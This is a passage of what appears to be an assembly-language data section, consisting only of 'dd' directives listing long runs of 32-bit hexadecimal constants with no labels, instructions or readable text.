		dd 902CFD9Fh, 4296C235h, 0DC6A1163h, 0E909520Ah, 99343FCEh
		dd 8D248230h, 2D92A8D3h, 1F780158h, 59A32BCFh, 0FE901B7Fh
		dd 0CCC9BA93h, 4FE777A7h, 0E59F67CCh, 31CB5F0Ch, 36EB2EEh
		dd 31068797h, 5E606DFBh, 85AA9CFCh, 91B3E907h, 8F82B5C3h
		dd 0A820965Ch, 0FA4A3E9Dh, 0B0647264h, 0DA06C8D0h, 58333F06h
		dd 5860573h, 0D7FF4FCh,	0C1CFDFD4h, 2B3F3B3Ch, 86732728h
		dd 0FAE32EB3h, 0B2D03C03h, 17E265CDh, 73CD5CBh,	2349DEB5h
		dd 0B058ABD1h, 0B8B1F4D7h, 0E4513A72h, 0FC420724h, 605ABE45h
		dd 4580E17Bh, 0CC517970h, 4613F667h, 9DA2FCF1h,	0F4440F6Eh
		dd 4BEEB47Ch, 43BA9BF1h, 0A5AC84F7h, 0FDE4266Dh, 458FEEEAh
		dd 3B98613Dh, 0B92677D0h, 297B6017h, 3CAC65B0h,	0AC428796h
		dd 94E99967h, 0C110A8Fh, 5AF3DA8Fh, 937D7DE2h, 0EAFE67AEh
		dd 2436DC50h, 0C4D70E84h, 0AE619C75h, 0B7DCCEDEh, 21301E3Ah
		dd 8B6DCD2Fh, 0CFCED4AFh, 0A41BBE25h, 0D4911ABh, 38123D65h
		dd 8EE62E98h, 0A7A0EDBCh, 0BB33517Fh, 0DCCCD918h, 48025EEh
		dd 0B3004C5Bh, 0CCBF3B9Ah, 0C44DDE60h, 0CAEB2376h, 8846B311h
		dd 0A6EE132Eh, 0E64B7049h, 56081B4Dh, 0B65EC4FCh, 0F3C067EAh
		dd 0C847358Dh, 0E7FB8E44h, 0E9E6E754h, 3B886AE1h, 0D3A2C7B4h
		dd 0BFCC5234h, 0F00D55B0h, 21BCBDFDh, 5DB3B15h,	4AEA5256h
		dd 1620846h, 639B8B31h,	0AAC3BA23h, 94908996h, 0B63DF9Dh
		dd 7872CF75h, 0C0E76FECh, 3E1307Eh, 68F599FDh, 975F70BBh
		dd 7E24A262h, 0B61F0A13h, 7C1461FBh, 68AB9FA4h,	82D35E42h
		dd 0C5219A1h, 6D93740Ch, 0F469401Ch, 9E316EDDh,	76CC9987h
		dd 0FE860F6Ah, 65905C24h, 0B63D46EAh, 0D3A95515h, 23548501h
		dd 0D860234Dh, 48E2D01h, 0A7F47DDAh, 0F57101C5h, 0D789268Dh
		dd 915DFCF7h, 0AE8B433Fh, 0D00DD290h, 7137E8CDh, 82F5E5B1h
		dd 270F87CCh, 4A11BB8Ah, 4B51B521h, 0E688C236h,	4FDD84C5h
		dd 58EE0D3h, 5ECB13A5h,	352C22CAh, 376B127Ch, 9E533A3Bh
		dd 33842003h, 75AE7D39h, 8909C108h, 0B771880Bh,	0DB45842Ah
		dd 0BCD491FCh, 0ACA8A0B1h, 3F14388h, 0EC9DE736h, 78045679h
		dd 0FA52F42Ch, 3C022DBEh, 0D35BBBE6h, 1F7AF03Eh, 892344Ah
		dd 0AACD441Fh, 351C286Ah, 2AB19CC8h, 3DF88860h,	4B7AEB78h
		dd 4641E5C6h, 0FDBCCE0Fh, 834EA5D3h, 19EA588Dh,	0DB6881D3h
		dd 0B52A234Ah, 6D420B5Ch, 0E537AA9Ch, 2F7C6EE8h, 67F8AD59h
		dd 15F4CC7Bh, 266F4852h, 38B046A8h, 0B2536852h,	0FC83BB57h
		dd 3A5E3FB5h, 40AAC24Bh, 61D62BCBh, 8FCE50A5h, 0A518EFAAh
		dd 264C521Ah, 69852C0Fh, 0C60CDA13h, 8722EFC3h,	0E91064ECh
		dd 0F87AC40Bh, 5536EA30h, 323ED98h, 0BF6A071Ch,	0C6F38FA2h
		dd 0F22AC4Ch, 0E211FBBEh, 0A8B1D0ABh, 1516ECC9h, 0BC12F5C4h
		dd 0FA71209Ah, 19BD7EECh, 807E090h, 5E32D29Bh, 44908916h
		dd 92D9C440h, 0B2F184C4h, 0A21E0CBBh, 5AA33196h, 30C86839h
		dd 0F23AA296h, 0F7BEAAF6h, 6CAC24BEh, 1FB0E160h, 16D87696h
		dd 2BDF47B5h, 92B01BDEh, 637ADF8h, 1DA13B6Ch, 0D7D96567h
		dd 0CC8E1F6Ah, 8CF4C8E5h, 0D9DE694Ah, 483E996Eh, 45042917h
		dd 3FE5082Dh, 0A9359596h, 0DCD629C0h, 0C1BDC65Bh, 6741D0D6h
		dd 0DA465E3Ah, 8293FDB9h, 674868C7h, 7C7CD55Fh,	0C93C919Eh
		dd 2EC01E3Bh, 92E28675h, 0E9157590h, 0ACC7AA69h, 8386A90h
		dd 321DBA66h, 0E89C3B37h, 515D5F38h, 2990857Bh,	0D3A06469h
		dd 4F7FCB8Bh, 0F5449C86h, 50148E8Ah, 7366C7ABh,	6ED89537h
		dd 741C5266h, 82C7779h,	982CCF67h, 0FBF4FDE2h, 0D11720A1h
		dd 85F7827Ch, 0B7CBEFD3h, 9A18C3A3h, 2ABC40EFh,	5D33B9E1h
		dd 0AA8B1596h, 808850E0h, 0B8190895h, 32F340C5h, 92B9307Ch
		dd 0F35FC844h, 5638BFFDh, 0D1C1D80Dh, 0F49D47DDh, 9ED452F6h
		dd 0D0B13E7Bh, 0F2B858DDh, 83925B78h, 7087A1B9h, 520EB737h
		dd 0B57BA2EBh, 8DB6AE31h, 0F144E06h, 0AB74E9D9h, 0FD9B30C4h
		dd 92A0E15Fh, 0EE56B03Dh, 0CBB18992h, 0DF85C913h, 0D006FB90h
		dd 559BE534h, 0F791DE2Eh, 0CC08549Dh, 4C6AA73Ah, 0F1073F00h
		dd 1E13664Fh, 0D08C0DA9h, 40F831CDh, 0C40F35BDh, 0C1817DB5h
		dd 0CA13BCCCh, 1543E5DFh, 88DB41CFh, 0F3338A44h, 110AF775h
		dd 1F22ECECh, 0C230C2B6h, 669074F0h, 87FA2B70h,	0ED69D026h
		dd 9D3C1FB2h, 3E2AE00Bh, 0A5011846h, 0E29C9A0Ah, 9162DECAh
		dd 0E2D3D4FDh, 7E6DD0BBh, 1B8C579Dh, 9911B2E6h,	0AB84BF0h
		dd 0C7E66BF2h, 28A78A53h, 252B18D3h, 83573921h,	0E567D088h
		dd 29BCE1Ah, 0EEE4F350h, 3719DD15h, 0C548B677h,	924FB940h
		dd 8EA03CB4h, 0CB81E71Ch, 0C70345CFh, 0ABD810DBh, 8B60BA5Ah
		dd 51D36880h, 4619FC1Ch, 72D3AABEh, 1C18E5E6h, 0D49B9C29h
		dd 0CD68ABCAh, 75B98758h, 47D9CF9Ah, 1A47C559h,	0EB78582Dh
		dd 2970372Dh, 0A0F9DE66h, 6420CBC6h, 0EF5DAFECh, 0B6DFA786h
		dd 5916D91Bh, 6746F4D5h, 5668E117h, 0BAE21CE8h,	9ED80BEFh
		dd 0CF71C3FFh, 85F6647Ah
		dd 9CB2C14Ah, 7862526Eh, 9DCA0DD7h, 0E9555AD4h,	93626463h
		dd 20FFBD59h, 0B86B2783h, 0FBD96144h, 0E7F62F4Bh, 9FA648Eh
		dd 5685B22Fh, 37BE0CD4h, 0AD736A6Ch, 0A59C9EEBh, 0D38CB186h
		dd 52282215h, 9BF09CAFh, 6821A64Ch, 0C4BA53BCh,	0C942DE38h
		dd 9DEA5D3Dh, 9D1815C7h, 53F3C458h, 0D598A86Fh,	0BA60F511h
		dd 46366F4h, 7593393Bh,	0FFC19BB6h, 0DC187D85h,	0E06CB513h
		dd 7E28B511h, 0DDA3E112h, 0BF05114Ah, 0AE6E0C7Ch, 66A9237Bh
		dd 269C5F65h, 8FBC9756h, 0E29E886Bh, 4EFAA40Eh,	0A8A39B9Dh
		dd 5C7B492Bh, 3C013370h, 40E6E0F7h, 0E4FAE9DCh,	0F113B44Bh
		dd 3B06F07Eh, 0F5AFCB67h, 0F9630DE1h, 2F4094B4h, 6B8FED08h
		dd 55314891h, 5832A7F4h, 0DA945B75h, 0FE9546BDh, 5DC70F83h
		dd 17E25227h, 7EE57000h, 0BEA03E22h, 1765D088h,	193BB233h
		dd 4806C791h, 0E0F08BC2h, 49F7CDCh, 90F644EEh, 240DB706h
		dd 0A1D12A2Fh, 0CA01D59Fh, 17381BF0h, 55A65271h, 0D2B78FC4h
		dd 0C7BABBD8h, 0E16FA23Eh, 6C5D35F2h, 9D442A1Dh, 0CDAB476Ch
		dd 0E4986CC0h, 51BE381Eh, 9C873CCCh, 0F10C8483h, 0E4F60A3Ch
		dd 413CAE48h, 2E6F802h,	6B8557C1h, 271FD794h, 6BA59412h
		dd 89406AF0h, 177D4210h, 0A7EB70E9h, 0FE0BCF7Bh, 0D3DFB88Eh
		dd 56B7FEEh, 0F59B6CF2h, 0D7BDAB32h, 5E0EE0CBh,	8A84897Eh
		dd 1D6C1EDAh, 0E6DBCDD4h, 7D126D48h, 8EB787DFh,	71F19BCBh
		dd 0EA913D8Fh, 3A44EE4Ah, 3D2156DDh, 14D9B99Dh,	382251C7h
		dd 0BC7958BDh, 5B32D57h, 2576E532h, 4366A058h, 0F20A0CEDh
		dd 59D6DB38h, 0A49807A4h, 27DC432Dh, 0FDD4958Ch, 0F9999BCBh
		dd 0D4862776h, 0B273629Eh, 0ECDF8927h, 2DA6CD26h, 0F14A2914h
		dd 37A8931Dh, 9946153Eh, 765B5FF7h, 0EF87277Dh,	1B97B22Bh
		dd 0BD34D379h, 0E0DF196Dh, 556982BCh, 39E25799h, 0A0E31813h
		dd 0B3C96A9h, 2CFB4834h, 0E86DCD94h, 0AF039D82h, 60F56EC7h
		dd 0A2A148B6h, 349CAAECh, 517FADBAh, 0EF56DC04h, 3D1415Ah
		dd 0A2096182h, 0F0B543D2h, 40161EBAh, 58C904D8h, 10659895h
		dd 8C0C8321h, 10CF4E6Ah, 82B11C71h, 8B33B24Dh, 36E9C887h
		dd 0CD728B0Bh, 5A538878h, 7630505Eh, 2A1D511Bh,	0B6A5C800h
		dd 0EB5DFD41h, 0E1E76F21h, 0CA4CFDD4h, 26F7C15Eh, 51A24E47h
		dd 8BDAF750h, 572F1D10h, 4731030Bh, 9258B9B2h, 2C4C69F1h
		dd 51B40292h, 758642C6h, 0A82EC607h, 6AE11E37h,	0CC6EA417h
		dd 0C2B25B40h, 0FAB679CBh, 357DED6Ch, 0FC3C64C0h, 8E6B5689h
		dd 630B40A0h, 0A9025178h, 0C4939021h, 0A422660h, 83088045h
		dd 0DCBF88E8h, 43FC5CD2h, 8FC8A259h, 6DAF6C51h,	0A90286A6h
		dd 43D69704h, 9FAC6E5Fh, 53D29B1Dh, 0C71AC75h, 3128BF64h
		dd 9C5DD2F3h, 0FE8FEACDh, 6052C14Dh, 2CC79CD1h,	0F2189631h
		dd 0FB744C24h, 0AB6CCDCBh, 80411A89h, 8FE01AF6h, 3B9FD7E3h
		dd 0B2AECD7Ah, 0CA98FB49h, 0A5FBF7B0h, 2C40C5DAh, 8F50CB96h
		dd 297BE479h, 8CC0FF18h, 0D8FB1F17h, 8E83EBA7h,	0AB462E1Ch
		dd 0E8EE490Ah, 0F66D0090h, 0EF084EF5h, 1F428DE5h, 1F47C73Ah
		dd 0AF2652B8h, 74DCD0DBh, 9367FBADh, 0ACD43E73h, 0DD2918AAh
		dd 81786650h, 6E9C9C57h, 9FAEFFD5h, 754DDF5Ch, 26B68A49h
		dd 0FAFBAA06h, 77FF3F7Ah, 1E723A63h, 6C4BEBFDh,	26341B14h
		dd 0AFFD81DEh, 0C3491352h, 299AC468h, 986D23EAh, 3AC37676h
		dd 66B433F0h, 18858077h, 0B4704DE3h, 72D76A06h,	4B6D2637h
		dd 0A1B57431h, 19426DFAh, 0F813D52Ah, 8068CB4h,	8D1C76EBh
		dd 0A5E85635h, 7E706B9Fh, 0B1CEAAF3h, 0CB78B790h, 0D4624671h
		dd 6CBE9F0Ch, 98557587h, 0E7BD60EFh, 0E1423BD5h, 51CBDDB1h
		dd 0E5F86A8Dh, 9B0D4B76h, 4FB39275h, 0A41D305h,	0B89CDB58h
		dd 0F7EAAAC6h, 5027013Fh, 4C885921h, 30D02EA0h,	7B777EFh
		dd 0B6F5DB2Ah, 32150524h, 4DA6C494h, 3003B068h,	0B43E7941h
		dd 84DB4A06h, 0DE0A8FA4h, 0AC9DF98Ch, 0F217076Dh, 0DFCA9E3Ch
		dd 6C1F3DFDh, 0FDE69F5Eh, 0C59CD1CFh, 9E7444ADh, 99F61E84h
		dd 0DBB2B8CFh, 3C44F799h, 0C35A27CCh, 0CE389543h, 77A3A67Dh
		dd 73C26741h, 0ED658EFh, 0FB1DBD50h, 0A3F40CBEh, 5A36F3C7h
		dd 0E2F680D5h, 6D3BC190h, 74F49927h, 5B6B3AADh,	612F6EA1h
		dd 0EC5293E9h, 0F025697Bh, 0E2F101Fh, 3737C45Ah, 0FA836F27h
		dd 0E3ABB565h, 0AE71ADDEh, 366AB391h, 78E8548Bh, 396FF405h
		dd 26F4FD84h, 0C8719260h, 9BA3DDB7h, 0D5E6F87Ch, 0BA61D441h
		dd 0BB1C9767h, 0AC3F501Ah, 4E7FDD09h, 0CF735D9Eh, 4FF30234h
		dd 12FD021Eh, 0CCB34C6Eh, 0A3881C70h, 708E5173h, 0D5EF5FEDh
		dd 0B79F160Fh, 0C57BDDC9h, 0D05960Fh, 0DC8F8B05h, 0D79DE993h
		dd 0B88BA2Ch, 0C746B76Bh, 17A56499h, 0A7992877h, 147CA24Ah
		dd 0DE85B316h, 4A043487h, 0DF41F04Bh, 6EBAAD82h, 5114D025h
		dd 54CAE29h, 84042D64h,	31130292h, 16965A9Bh, 0D5D670A8h
		dd 6D66D777h, 3A720976h, 740E92Bh, 75C45E3Fh, 6ACE31A1h
		dd 0B294C07Bh, 90752AE1h, 0A0CC4A02h, 28C9F8D9h, 5CAFBB31h
		dd 0BE9114A9h, 0BE74091Ch, 9A873478h, 2226215Ah, 0B3F121BBh
		dd 39B73B38h, 837946A7h, 0D408567Fh, 0DC59387Fh, 976BE615h
		dd 27637928h, 625577CCh, 2D10CD53h, 6D67B6D9h, 8A5DDFF6h
		dd 0F2CA232Bh, 95832B5Fh, 575E479Fh, 0A49A36BDh, 3814A0CBh
		dd 8DDF6CAAh, 0FF4A8238h, 0E97EA9F5h, 0AFA2FE29h, 2ADE9A5Bh
		dd 0E45BC9EBh, 97EF7400h, 0AD16B7F5h, 0E4919F65h, 2713F359h
		dd 5AD68036h, 9C3B5BA7h, 5B7504A8h, 1E27F5A4h, 43D002A9h
		dd 0A7985C9h, 6F6C35D4h, 982B334Ah, 0EF7FC086h,	5A95529Dh
		dd 8B4509A3h, 3E3EAD71h, 0DD1B12E1h, 0FD635C07h, 4B8AD575h
		dd 1004EA61h, 78807481h, 0B6F46FB1h, 3BD4631Dh,	0C0ADDCDEh
		dd 0E829160Eh, 23DCF638h, 20AB4C26h, 0FE9A4DF7h, 0BD70FE40h
		dd 0CF31B3F3h, 3D697927h, 0F85572D9h, 9D3F3500h, 23DF797Eh
		dd 429A072Ch, 86631160h, 0EA71F3B9h, 0FBB9A72Ch, 4D928999h
		dd 4D97E6D2h, 9E5593Eh,	3C0CC3E2h, 39374D9Bh, 0D37D45AEh
		dd 31B0F0Fh, 0CD93F487h, 0B38B606Ch, 0AA03AC41h, 0E4872008h
		dd 4EAA641Eh, 321EB836h, 0C4457791h, 0F815010Ah, 8D311E5Dh
		dd 5AC75ECAh, 7F245CBh,	51BF58C1h, 0BF2C5112h, 42C873AEh
		dd 4E5076A8h, 89F2F2BBh, 3AB9FB43h, 0B45A2E7Ch,	0F1AE26D1h
		dd 87552EB1h, 0C2C453h,	0A59F642Eh, 0B527B5F1h,	0D0547EF6h
		dd 0A6FFFB2Bh, 789C3391h, 0B27B3C4Bh, 88912835h, 6C3CEDC4h
		dd 0B9140AABh, 7DFEF551h, 0DD8257CCh, 55F880F5h, 5E809CA6h
		dd 546A0157h, 0E5C4CDD3h, 0E3A820B5h, 50A0B80Eh, 4994EBCh
		dd 6C65731Fh, 5C260308h, 0AE6ED335h, 96AED199h,	962511A5h
		dd 0AA5636CAh, 85FB6DE3h, 0E56D4E9Ch, 34BAF899h, 54BB1157h
		dd 835E98ADh, 0F7444F30h, 81283104h, 0BD85F313h, 0FE6CF0DFh
		dd 743DB7D1h, 59111123h, 327A4FD1h, 0DDC4554h, 0C9C978C6h
		dd 17B7071Ah, 0A61BCF51h, 0EB09C6CFh, 0CAA87E94h, 80AB1B68h
		dd 8BDD913Ch, 572606E3h, 1BE7EF0Eh, 8D00B032h, 0AD945DD1h
		dd 77843954h, 0E795042Bh, 0D52826EBh, 0B6450FA1h, 75B96189h
		dd 92CD052Eh, 0E0A1368Fh, 0C1410A6Bh, 108AD473h, 0E7141CB2h
		dd 1C4168C3h, 54ABAD7Dh, 423614FCh, 21D3420Bh, 926A82F7h
		dd 0B81958A1h, 658B9344h, 786679F0h, 0BA9884E0h, 213013Fh
		dd 0EF50063h, 0F845BEFAh
		dd 3B7EC063h, 56617B48h, 0E142421Fh, 0E4B5EE6Fh, 11FAB744h
		dd 930A7E23h, 65A218ACh, 0AAAB32C9h, 5ACA3234h,	81E67AC5h
		dd 94754085h, 6638CCB8h, 6273DAF9h, 39DCAB3h, 0F683740Fh
		dd 0CFC91197h, 0D8D7112h, 87012A2h, 0C7979D81h,	1B425E21h
		dd 0C96B179Fh, 0D889B7A0h, 664FE8Dh, 5B637291h,	1331F147h
		dd 13267F4h, 0D092A9C1h, 3E5A4F6Fh, 555586B5h, 4E93DF66h
		dd 19EE5480h, 6355FEB8h, 3C07A526h, 0D25E20A6h,	7BC1E168h
		dd 82C8ADD4h, 413FA1D0h, 81B8FB69h, 0DF3D0BB2h,	5EC586Ah
		dd 0C815B910h, 2FFB3BCAh, 3B6197D0h, 45FB5FBh, 0CB8CEA5Ah
		dd 4635CA25h, 95802A97h, 0E1198105h, 3E09E4DDh,	5DF1CF5Eh
		dd 0F6D433DDh, 0FFEAD957h, 29E78A86h, 7603FD18h, 2C22B0A9h
		dd 61BCDB85h, 0B31CE25Dh, 0EA815510h, 0E3EC438Dh, 23AF9A92h
		dd 99AC7DC4h, 0F5661BD5h, 64FDF3C6h, 8A139C06h,	0DC497F0Ch
		dd 0DEA40D4Bh, 2782DE20h, 0F072547h, 81386DEDh,	900057BAh
		dd 56399594h, 5FC1ECB2h, 89B9CBA3h, 0E8DE494Ah,	0BDB12AF9h
		dd 619927DFh, 0D525F7FCh, 0C52361FDh, 0C287AC34h, 0DDA4035Ah
		dd 0A15CD05h, 2A27CD76h, 0A24D8F53h, 0FB208793h, 0B074C81h
		dd 0C5C8D939h, 0DA19AAD0h, 2073E95Eh, 6A3CB859h, 0CF43068Ch
		dd 32A149Fh, 3E186E70h,	15DF4223h, 85713B32h, 74902193h
		dd 5CCFC4F8h, 0AA40E4Fh, 1C436E1h, 50A25475h, 8858431Fh
		dd 0DD41BA50h, 0EF921477h, 3F15A698h, 32EA7AC8h, 1B3CECDBh
		dd 979159D2h, 4A06574Dh, 98917B57h, 4B6D36A9h, 0B46D248Ah
		dd 0A5326379h, 73461FD2h, 625CF6EAh, 0A58AF2EDh, 44F2415h
		dd 0CC261BF0h, 0E9F5BF43h, 0E3CF837Ah, 34B6A906h, 5A9C1D3Bh
		dd 0E8A58648h, 45E5A56Dh, 0BAA229Ch, 79AF78E7h,	6808313Bh
		dd 4D1945A2h, 0C83FE1A6h, 860DAAEh, 1948FCBBh, 6CB504A4h
		dd 544C7897h, 0F9D2939h, 0BADD793Dh, 0C4660C50h, 4C683E93h
		dd 1AB109CBh, 782380A0h, 0D04FE69Ah, 0E9597CC6h, 919D859Eh
		dd 6A115015h, 0D01BE51h, 0C87B89B9h, 0BB5A049h,	0DB9BB9B2h
		dd 51DC88C2h, 1DF25DA5h, 6B5403A3h, 8A0A541Ch, 0B4B7F22Dh
		dd 7C5E581h, 0ED7A1BFBh, 0B5E98AA8h, 0C71F690Bh, 0ECDAB6A7h
		dd 656894E9h, 881A67AFh, 0A1797DD6h, 4F10FA0Dh,	946D52B7h
		dd 2C4DC861h, 80F770B6h, 5E39D37Eh, 0F49FCFA7h,	0A21C0C20h
		dd 0BAFDAEFCh, 8A2B8672h, 0DF4CB432h, 0A321A084h, 0A0FA4749h
		dd 2DAD5A0Eh, 7185E613h, 6FE8C1AAh, 2A20D73Fh, 38393DCFh
		dd 89503011h, 20C97620h, 5270C8DCh, 0DF630FD8h,	4DB9AC88h
		dd 0B95661B2h, 50658F03h, 2B7BE97Eh, 0ABF72C25h, 889D6AAAh
		dd 0DB02EA9h, 549139Eh,	0B5BD6770h, 0F4C2A5E2h,	0C6CF0F67h
		dd 7D71DA03h, 0FCA558A8h, 0D54CA722h, 0B1008C20h, 0A40F77E8h
		dd 0AEEFAF6Dh, 3BC26E95h, 477FF649h, 9F271E12h,	27C4C8BFh
		dd 2560558h, 0AB6146EFh, 68D01C27h, 6D807E53h, 7C5685CBh
		dd 8D448E04h, 0CE0AB9B4h, 59AE10C3h, 9315C88Dh,	8316A1A3h
		dd 6EEE6458h, 0DB5AB8F5h, 53462C17h, 946BEF9Dh,	0C0B2760h
		dd 0BA32F4A3h, 0D4415CDAh, 0F2DD4FA8h, 7AE176DEh, 208FDFB2h
		dd 0A2BFD027h, 0A4501FB8h, 0A1597648h, 18AE973Dh, 1806B98Dh
		dd 0FA8A66F5h, 4C131BEAh, 5FD89441h, 73ED2DAAh,	6BFB30C9h
		dd 4EDB277Bh, 0C484EC3Fh, 3BBCD1BEh, 0D4F2B060h, 0E2AA91CBh
		dd 2B7AA608h, 0E9E06898h, 0A594A5A0h, 4C92C822h, 6F078E83h
		dd 0E1996E4Eh, 0F8E49794h, 0D9D64FCAh, 80E02831h, 0AB717C5Eh
		dd 4CB77465h, 6457B35Ch, 59452187h, 4FC47B6h, 1F86AF2Dh
		dd 0C1C76270h, 11136C12h, 0F79C7FEFh, 95424103h, 498F6A1Bh
		dd 0CD69F4EFh, 0C8646BC2h, 0A4149C46h, 10236B96h, 8A385754h
		dd 60A62FA9h, 0E98E9C71h, 51F5A2A5h, 8B96DB0Ah,	6EEE2A56h
		dd 4A355883h, 9946FE3Fh, 0FBF9AB8h, 97C29A0Bh, 1480EBCFh
		dd 8BF17ED8h, 3FBA9F96h, 47DC7A08h, 2BCF1DD5h, 0BE91BA50h
		dd 0C100A9EDh, 2432FF8Fh, 0C6321308h, 8EEF978Ch, 1400EA94h
		dd 336E1C75h, 8A4A7C0Dh, 5C965C28h, 7ABC5BA1h, 0D6BAA5ADh
		dd 99367433h, 660D6E44h, 14CA72FAh, 2FEECD4Ch, 697EFB32h
		dd 7B0AB479h, 917089Dh,	0BEB17249h, 7CEB3C94h, 8D8A5537h
		dd 4C394688h, 35DFB265h, 7C4856A5h, 7AF23CFBh, 2A389CE4h
		dd 67791C3h, 49A397B2h,	2186E22Eh, 0A8AA45EAh, 11675DB2h
		dd 5A364B3Fh, 6F47254Eh, 0CBA40704h, 0E010CBA0h, 5956D773h
		dd 5B95A39Ch, 0DB3D1426h, 7927AABBh, 0E17EA5DEh, 6DB27A5Fh
		dd 332C0F61h, 0A8A81BE9h, 0DC6C1D94h, 1B974CC3h, 92524624h
		dd 92DAEBA6h, 556CB443h, 0DF8DDEA9h, 0B535536Dh, 50F9FFCDh
		dd 0DA507777h, 1535F8A1h, 0CB063C42h, 0D19B2707h, 3A6183h
		dd 19B6B601h, 52088166h, 54E95E20h, 5BAE8964h, 2C3EAA5h
		dd 18FD229Dh, 0C261F20Ch, 8B147DB3h, 51993A64h,	6A7741Ch
		dd 89770986h, 0CA111DE9h, 0EC808498h, 0C88D3233h, 38C5132Fh
		dd 20C04917h, 0C204918Dh, 0A047C196h, 70B994D1h, 0AF5ADC0Bh
		dd 0B3FE3078h, 4856D1FEh, 66E0E5A3h, 0C9F8D5C4h, 969CF91Fh
		dd 67615EEFh, 53EFAB8Ch, 213F5C9Ch, 20B291ABh, 41AF8DDDh
		dd 0FBED79BAh, 5EFBFDC6h, 0FF4FACB0h, 8E080B1Ch, 87189838h
		dd 0E1700168h, 0C0A9748Bh, 242AA1FBh, 3F163A0Eh, 0B552E3ECh
		dd 0E3378377h, 720CB716h, 36596B16h, 770543F1h,	227C5982h
		dd 2ABDACD1h, 0F847003Ah, 0C1BDB76Ah, 0D6BDE77Bh, 273F7017h
		dd 0BC798B86h, 0C9A3E329h, 0D65BFF87h, 63AAB764h, 0CFE014E2h
		dd 0D357146Eh, 35BD64D3h, 244AE0B0h, 0BD34D7FCh, 2816C1D9h
		dd 88492EEEh, 52ACC68Ch, 9F79E78Bh, 8070C2FCh, 0FB4A841Eh
		dd 69332ECCh, 10BFF1F2h, 1F78C708h, 0DF896D9Fh,	17ABB895h
		dd 1CDEE29Eh, 899A51F7h, 219A387Eh, 281F1148h, 6330F286h
		dd 72A6B6F3h, 0E0C241F6h, 0AD45020Eh, 0B7DF246h, 1956C647h
		dd 772D01E6h, 7FB91FCDh, 5398450Ch, 7A51ADADh, 7AAB8F88h
		dd 0E3992D65h, 4A82468Ch, 0FD7DCAB1h, 63E50E25h, 0FBF8D92Dh
		dd 0DAB7BA82h, 689AD200h, 0EBEABFF4h, 0FC03C38h, 37526FABh
		dd 5054C28Bh, 39790FB2h, 21CFDD1Dh, 4B6953CBh, 0B6D5A3FCh
		dd 3C313DB6h, 0A07F8E6Ah, 93445F9Dh, 1587B91Ch,	6A7F081Dh
		dd 0E66AB60Eh, 0D580BA2Eh, 7B54AC45h, 0D576B707h, 0B70370D7h
		dd 0CC1EFF3Eh, 69C4B236h, 9D662493h, 5D782376h,	0D895FBEh
		dd 386603DFh, 2AC14580h, 3CAF327Dh, 0BE5058Fh, 18A47BFDh
		dd 99A99A42h, 5CABE811h, 181F6CDBh, 0D1CFF929h,	17D04860h
		dd 6C80A4A8h, 71579D2Ch, 10221AF7h, 0C0208FEDh,	0C09DF1DAh
		dd 324218C2h, 0D7EE4172h, 0C4B44D93h, 32AF207Eh, 7D06932Ch
		dd 4953292h, 858A5B09h,	0B6303603h, 7391B035h, 0C01AE0FFh
		dd 0E69DE9E8h, 0E6136BBDh, 593CF0D3h, 6F9DA9ACh, 6C954693h
		dd 0B2187882h, 5C4BC2A0h, 0CA877D9Dh, 0AF5C5C9Fh, 2BE9BDF3h
		dd 2E2F2FE6h, 2A150FC7h, 6493F551h, 279C1153h, 0DC9985F2h
		dd 0A3F41AB1h, 7E9E2139h, 944D1FCBh, 7E299A00h,	78235276h
		dd 646FB3E7h, 0EAE64280h, 3D1C5647h, 7398A864h,	0CE9C5187h
		dd 720BFB68h, 456D126Dh, 404A802Ch, 38344E9Dh, 3A0D621Dh
		dd 0F2BE45E5h, 8234E785h, 8BF0A370h, 4B5DA905h,	63B411F2h
		dd 0A330E92Fh, 514AEC04h, 0B62F253Dh, 0A43DE340h, 667080E7h
		dd 0AB912671h, 959DCE5Bh
		dd 5E2338Dh, 0D2E134CEh, 0CDF4DDA7h, 0B1737852h, 0F3AA916Bh
		dd 28A3915Eh, 0CF3B93F6h, 34EF1747h, 33FB8993h,	0E2411E8h
		dd 52566027h, 56C4528Bh, 3E168E8Ah, 0E5AD35E9h,	0E4619DC9h
		dd 0F5DCEF1h, 76E1DD55h, 26573E23h, 0B863B18Ah,	0E2B116FEh
		dd 39E9A50Eh, 0B8CE59Ch, 2FB16C32h, 859C1EFFh, 28EDB3Bh
		dd 590D05C8h, 8A3246B6h, 0AB170A74h, 0C59B98A2h, 3F439ECCh
		dd 486A7D46h, 0F36C967Dh, 3834E498h, 38187A82h,	0DD89A441h
		dd 0ED3E66F1h, 0F571724Bh, 3A7804BDh, 0E5FA6263h, 134F77DDh
		dd 91B45C6Ah, 2C63EFEBh, 0E08AFAE1h, 9F3F624Fh,	3AB24ACBh
		dd 10664182h, 3A5B8989h, 3F2BF2Eh, 0C671D8B6h, 7967C15h
		dd 0B6E74C2Eh, 0ECEEAD23h, 1138E086h, 0BCF03728h, 4F6F4F63h
		dd 93E435F9h, 0CF785311h, 0A21EAE63h, 45F97938h, 0F1F6CB49h
		dd 3458070Fh, 5274DABDh, 5206D4ECh, 3AF26013h, 0A78A3E4h
		dd 19E31367h, 5FFD8F5Ah, 0C52C822Ah, 97312935h,	8E338CE7h
		dd 2074DD89h, 2AD7DACEh, 9142FBC0h, 3833FF2h, 4D766797h
		dd 12D03779h, 0B4778204h, 11FCA03Bh, 80E5E037h,	2100BE2Ah
		dd 0C1502A45h, 49BD640Fh, 0C056419Bh, 907B36D2h, 22265C84h
		dd 0D3D2D74Fh, 0DFF1E58Dh, 6A7342EDh, 8C5B2DC9h, 0C34E6917h
		dd 0E0D6592Ah, 0FA3F0E0Ah, 0D8842669h, 0C72565B2h, 393F3E4h
		dd 671D7FB7h, 96B23198h, 73A809E2h, 1280B0A5h, 0C677374Fh
		dd 1C585656h, 0EC55E565h, 0B1832D5Fh, 24B0B6EAh, 15C83A25h
		dd 0B7B8EED9h, 0AAB0A4B5h, 0A8CD5A84h, 0ECA32B52h, 5B044B1Fh
		dd 3D277390h, 6D0A977Fh, 15B06247h, 8216CA1Bh, 5A4DA82h
		dd 3AFD9096h, 0BE739FA3h, 957C3663h, 0D59E6308h, 0AADD3EB0h
		dd 409F3921h, 17EDD364h, 0DA3526A2h, 67EB6755h,	9101AAB9h
		dd 396BFC98h, 275F2333h, 6A9DA30Eh, 0C2DFBEB8h,	35995AF0h
		dd 0C47B12Dh, 0DA6371FAh, 0DC8AA326h, 5806B2BEh, 0BB10F664h
		dd 26113F1Ah, 7009AAA6h, 45F87D4Bh, 0ADF71074h,	0F9612988h
		dd 25D57988h, 0A37F5BDAh, 0A081296Eh, 38331B51h, 45F8BA6Ah
		dd 713E5692h, 251A6248h, 8F789F00h, 68C463CDh, 7C2A3524h
